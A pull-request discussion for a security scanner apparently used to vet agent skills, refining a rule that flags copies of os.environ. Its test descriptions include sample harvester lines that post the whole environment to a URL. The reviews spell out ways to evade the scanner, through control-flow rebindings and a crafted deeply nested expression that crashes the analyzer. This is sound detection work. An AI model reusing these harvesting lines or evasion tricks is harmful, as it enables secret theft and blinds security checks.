fix(e2): exempt child-process env pass-through from harvesting

[malinfossum]

Summary

E2 no longer fires on an os.environ copy whose only destination is a child process's env=. An environ copy that goes anywhere else is unchanged, and so are E1, E3–E5, the regex fallback for unparsable Python, and every non-Python path.

Fixes #441.

Root cause

_analyze_python_environment_reads keys on the copy rather than on where the copy goes, so subprocess.run(cmd, env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"}) reached the same emit() at the same HIGH severity and the same 0.6 confidence as a real harvester. The analyzer's docstring already excluded this case — a full mapping copy is a harvesting signal "unlike a targeted single-key lookup or passing os.environ through to a child process" — but only the first half was implemented.

The fix collects, per file, the expressions passed as env= to a known process launcher (subprocess.run / call / check_call / check_output / Popen, asyncio.create_subprocess_exec / _shell) plus the plain names bound to them, and skips those nodes at emit time. Two shapes are covered: the mapping written inline at the call site, and one built on an earlier line and passed by name.

I kept this to an allowlist rather than exempting any env= keyword, so a call to an arbitrary function named with an env= argument is not a way to silence E2.

Validation

A skill with the issue's three benign variants plus one real harvester (requests.post(url, json=dict(os.environ))), scanned with --no-llm:

	before	after
variants.py:8 env={**os.environ, ...}	E2 HIGH conf 0.6	not flagged
variants.py:13 env = os.environ.copy()	E2 HIGH conf 0.6	not flagged
harvester.py:7 dict(os.environ) → requests.post	E2 HIGH conf 0.6	E2 HIGH conf 0.6
score	69	54

The subprocess calls themselves still surface as AST4, so the behavior is not hidden — only the harvesting claim about it is withdrawn.

Three tests added to TestRunStaticPatternsDataExfiltration, written before the fix and confirmed failing against main: one per benign shape, plus a guard that an environ copy bound to a name and sent to requests.post still fires.

• pytest tests/nodes/analyzers/test_static_patterns.py -k e2 — 7 passed
• pytest -m "not integration and not provider" tests/ — 3954 passed, 26 skipped, 4 xfailed, 22 failed
• ruff check src/ tests/ — clean
• ruff format --check src/ tests/ — clean

The 22 failures are pre-existing on a Windows host and unrelated to this change: I ran the same four files on main with this branch stashed and got the identical 22 (test_build_context.py symlink and secure-open cases, test_compare_scan_accuracy.py — which is #485 — test_create_github_release.py, and one test_input_handler.py case). No test outside test_static_patterns.py changes state with this patch applied.

Scope

This fixes the E2 precision slice only. It does not touch E2's severity or confidence values, the #329 broadening that made the rule match {**os.environ, ...} in the first place, or E1/taint coverage of credential flows to network sinks.

[rng1995]

[SkillSpector Review]

Changes requested at head 7990d72de6a7413f10a3958b676a83c106be9cf8.

• src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:272: suppression is based on every variable name ever passed as env= anywhere in the file, rather than on the definition that reaches that child-process call. For example, an earlier env = os.environ.copy(); requests.post(..., json=env) is hidden if a later reassignment env = {} is passed to subprocess.run(..., env=env); a single mapping that is both exfiltrated and passed through is hidden too. Suppress only definitions proven to flow exclusively/directly to the child-process env argument, and add reassignment and dual-use regression tests that preserve the E2 finding.

Required CI is green, but this correctness gap and the BEHIND merge state block merge.

[malinfossum]

Both gaps confirmed and fixed in d2bdefe; branch rebased on current main.

The exemption no longer keys on names. _EnvironmentFlowVisitor walks the file in evaluation order (assignment values before their targets) and follows each name bound to a candidate expression until it is rebound. A copy is exempt only when every use up to that point is either a child-process env= argument or an in-place edit of the mapping (env[...] = ..., del env[...], env |= ..., update/pop/popitem/setdefault/clear). Any other use — posted, returned, unpacked into another value, read from a nested function — keeps the E2 finding. Multi-target assignments require every binding to be clean.

Regression tests added, both asserting the finding stays on line 4:

• test_e2_environ_copy_rebound_before_subprocess_still_flagged — env = os.environ.copy(); requests.post(json=env); env = {}; subprocess.run(env=env)
• test_e2_environ_copy_exfiltrated_and_passed_through_still_flagged — same mapping posted and passed through
• plus test_e2_environ_copy_edited_in_place_before_subprocess_not_flagged for the mutation allowlist

Ordering is by source position, so a rebinding in one branch of an if or a back-edge in a loop errs toward keeping the finding rather than hiding it.

[rng1995]

[SkillSpector Review]

Re-reviewed current head d2bdefecbcca023f046aadf1171ea3752a9da956. The new reaching-definition logic fixes the previously reported straight-line reassignment and dual-use cases, but it does not preserve bindings across Python lexical scopes. A nested function or lambda parameter can close an unrelated outer environment binding, causing a benign outer mapping used only as a child-process env= argument to be reported as E2. Track bindings per lexical scope (while retaining conservative closure-read handling) and add the shadowing regression.

All required checks pass, but this correctness issue and mergeStateStatus=BEHIND block merging.

[rng1995]

[P2] Preserve outer bindings across nested lexical scopes

This visitor uses one flat _open map while NodeVisitor descends into nested definitions. A shadowing parameter therefore closes the outer binding: env = os.environ.copy(); def helper(env): return env; subprocess.run(["x"], env=env) leaves the outer candidate neither escaped nor marked as reaching the launcher, so the benign copy is emitted as E2. A lambda argument or nested local assignment has the same problem. Track bindings per lexical scope (without losing conservative free-variable reads) and add a regression with a shadowing nested parameter before the outer env= use.

[malinfossum]

Fixed in 4a5b362. The branch is also rebased on current main.

_EnvironmentFlowVisitor now keeps a stack of lexical scopes instead of one flat map. Each scope knows which names it binds itself, following Python's rules: parameters, local assignments, comprehension targets, class bodies (which don't enclose their methods), global, nonlocal and walrus targets inside comprehensions. A nested scope's own env no longer closes the outer binding.

Free-variable reads stay conservative and are now a bit stricter. A function or lambda body runs at some later time, so its reads of an enclosing name count against every binding of that name that is open when the body is defined or made after it. This also catches a case the flat map missed: a leaking closure defined before env = os.environ.copy() and called after the launcher. Writes through global or nonlocal inside a function body can't be ordered against the enclosing uses, so they leave the outer bindings alone. A copy made that way is never treated as a pass-through.

New tests in test_static_patterns.py:

• the shadowing parameter from this comment, plus a local assignment, a lambda argument, a comprehension target and a class attribute (all pass through)
• a shadowing parameter next to an outer network use (still flagged)
• closure reads after the copy, before the copy, through global and through nonlocal (all flagged)

[rng1995]

[SkillSpector Review]

Hi @malinfossum, thank you for the per-scope rewrite and for the closure-before-copy case you found on your own!

Value and readiness: The fix targets a real and common E2 false positive: subprocess.run(..., env={**os.environ, ...}). The lexical-scope work fixes the last finding cleanly. Two new problems block merge. A rebinding inside an if, try or loop still closes a binding regardless of control flow, so a real harvest can be hidden. And the new recursive visitor can crash on a deeply nested expression, which drops every E1–E5 finding for that file. Both fixes are small.

Previous findings:

• Suppression keyed on any name ever passed as env= (review at 7990d72): Resolved. The reaching-definition visitor from d2bdefe carried through the rebase unchanged (b5b7c39 is patch-identical). test_e2_environ_copy_rebound_before_subprocess_still_flagged and ..._exfiltrated_and_passed_through_still_flagged pin both shapes.
• Nested scopes closing the outer binding (review at d2bdefe): Resolved in 4a5b362. _Scope and _scope_declarations now model parameters, locals, lambdas, comprehensions, class bodies, global and nonlocal. I traced the def helper(env) example and it now passes through. The shadowing and closure-read tests cover both directions.
• BEHIND merge state: Resolved. The merge base is the current main tip (2226747).

Material findings

1. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:377: _store closes the previous binding on any rebinding, and visit_If/visit_Try/visit_While are not handled, so a binding is marked passed-through as soon as a rebinding is seen in source order. That happens even when the rebinding is in a branch that may not run. The 14 Sep comment says a branch rebinding or loop back-edge "errs toward keeping the finding". The code does the opposite for these inputs:

   env = os.environ.copy()
   if False:
       subprocess.run(["true"], env=env)
       env = {}
   requests.post(URL, json=env)

   Here the copy is marked reached and then closed by env = {}, and the later requests.post only escapes the {} binding, so E2 on line 1 is suppressed. A loop back-edge does the same thing: a requests.post(URL, json=payload) at the top of a for body, followed by payload = os.environ.copy(); subprocess.run([...], env=payload), sends the previous iteration's copy. The behavioral taint analyzer does not treat os.environ.copy() or dict(os.environ) as sources, so E2 is the only rule that ties this flow to the environment. The fix is to make rebinding conservative across control flow. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block; keep the outer binding open so later uses still count against it. A binding created inside a loop body should also count reads that appear earlier in the same body. Visiting the body twice is a simple way to do that. Add regressions for the if and loop shapes above.
2. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:533: _EnvironmentFlowVisitor is a recursive ast.NodeVisitor, so each level of expression nesting costs two Python frames. Before this PR, the module used only the iterative ast.walk. A Python file containing x = a + a + ... + a with about 600 terms (a ~1.2 KB line) parses fine. I confirmed this with a stdlib-only probe on Python 3.12 and 3.13, but a NodeVisitor over that tree raises RecursionError. Nothing catches it in _analyze_python_environment_reads, so run_static_patterns_with_ledger records ANALYZER_RUNTIME_ERROR and drops every finding from this analyzer for that file. Any crafted file can therefore switch off E1–E5 for itself. Wrap the flow pass in try/except RecursionError, fall back to an empty pass-through set (the pre-PR behavior), and add a deep-expression regression.
3. [Non-blocking] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:207: pop, popitem and setdefault are treated as in-place edits even when their return value is used. For example, items.append(env.popitem()) in a loop can drain the whole copy into another value while the copy still counts as passed through. Count these calls as mutations only when the result is discarded (the call is an ast.Expr statement).

On the requested check, real exfiltration through a child: the exemption does not create a new child-side gap. Omitting env= gives the child the same environment, and that form was never E2-flagged. Child-side sends remain visible to command-string rules (E1 curl -d/wget --post-*, the env | grep E2 shell pattern that #483 extends, which still runs on parsed Python) and to AST4. Inline interpreter payloads such as python -c "..." are not E2-analyzed on main either. A copy that is also used anywhere other than env= keeps its finding, as the tests show. The remaining exfiltration risk is the control-flow gap in finding 1.

PIC tradeoffs: None identified.

Verification and gaps: I read the full two-file diff at the exact head, every prior review, reply and inline thread, and the three commits since the last review. I compared the rebased patch against d2bdefe and checked that main's intervening edits to this file (#409, #491) are unrelated. I traced the visitor by hand for the shadowing, closure, global/nonlocal, walrus, if-branch and loop-back-edge cases, and checked the taint analyzer's source list. The recursion depth was measured with my own stdlib-only script, not the PR code. git merge-tree shows a clean merge with main and with #483, which edits the same file. All six hosted checks pass at this head. Contributor code and tests were not executed locally, per policy.

---

Decision: Changes Requested (reviewed head 4a5b36207b88b3616e0d7c0586e2f81c0f9f6937)

[rng1995]

[Blocker] This closes the previous binding on any rebinding, regardless of control flow (there is no visit_If/visit_Try/visit_While). env = os.environ.copy() / if False: subprocess.run(["true"], env=env); env = {} / requests.post(URL, json=env) marks the copy as passed through and suppresses its E2, even though the copy is what gets posted. A loop back-edge (post at the top of the body, copy + subprocess.run(env=...) below it) does the same. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block, and reads earlier in a loop body should count against bindings made later in it. Please add regressions for both shapes.

[rng1995]

[Blocker] _EnvironmentFlowVisitor recurses about two frames per nesting level. A parseable x = a + a + ... + a with ~600 terms raises RecursionError here (stdlib probe on 3.12/3.13). That exception is uncaught, so the runner marks the analyzer FAILED and drops all E1-E5 findings for the file. Catch RecursionError around the flow pass and fall back to an empty pass-through set (pre-PR behavior), with a deep-expression regression.

[malinfossum]

Thanks for the careful trace. All three findings are fixed in 718e771, and the branch is rebased on current main (3c8e4b9).

1. Control flow (blocker). A rebinding now closes only the bindings made in its own block or in blocks nested inside it. One inside an if, try, with, match or loop body leaves the outer binding open next to the new one, so later uses count against both. Your if False: example keeps the finding on line 1.

For loop back-edges I didn't visit the body twice. Python accepts about 100 levels of nesting, and two visits per level is 2^depth work. Instead, a read anywhere in a loop counts against every binding made in that loop. That covers your for example, a while test, nested loops and comprehensions in one linear pass.

While testing this I found three more paths of the same kind and closed them too:

• A raise can skip a rebinding inside a try or with body. The handler, or the code after a with that swallows the error, still sees the copy. Nothing closes inside try, except, else or with bodies now.
• break and continue can skip the rebinding after them, so loop bodies are treated the same way.
• A walrus can sit in a short-circuit, so it never closes an earlier binding.

2. Recursion (blocker). The flow pass is wrapped in try/except RecursionError and falls back to an empty pass-through set. The regression test uses a 1,000-term a + a + ..., which parses on 3.13 and overflowed the visitor before the fix.

3. Extraction methods. popitem counts as an edit only when its value is discarded. pop and setdefault also count when the key is one string literal, because token = env.pop("GITHUB_TOKEN", None) is a targeted lookup. E2 already treats os.environ["GITHUB_TOKEN"] that way, and stripping a secret before launching a child is common. A drain like items.append(env.pop(name)) keeps the finding.

Hardening from an adversarial pass over my own change:

• Open bindings per name are capped at 32. Past the cap the name is reported, not followed. Without the cap, a crafted 292 KB file of conditional rebindings took 38 s. With it, the same file takes about 1 s, as at the previous head.
• A walrus result used in its expression, a class attribute, and a class-body read that falls through to globals all keep the finding.
• In a file that calls globals(), locals(), vars(), eval() or exec(), only inline env= arguments stay exempt.

One limit I left alone: the launcher is matched by name, so a monkeypatched subprocess.run still gets the exemption. Every launcher rule in the analyzer shares that limit, so I think it belongs in its own issue if it's worth fixing.

Tests. I added 29 parametrized cases covering the if, try, while, with, match and walrus rebindings, five back-edge shapes, the exception paths, break and continue, and the out-of-sight uses. There are also controls showing that a fresh copy per loop pass, an edit in a branch, a copy made in a branch and a branch rebinding all still pass through. Before the fix, every new bypass test failed. Locally all 135 E2 tests pass. The full suite has no failures that main doesn't also have on my Windows machine.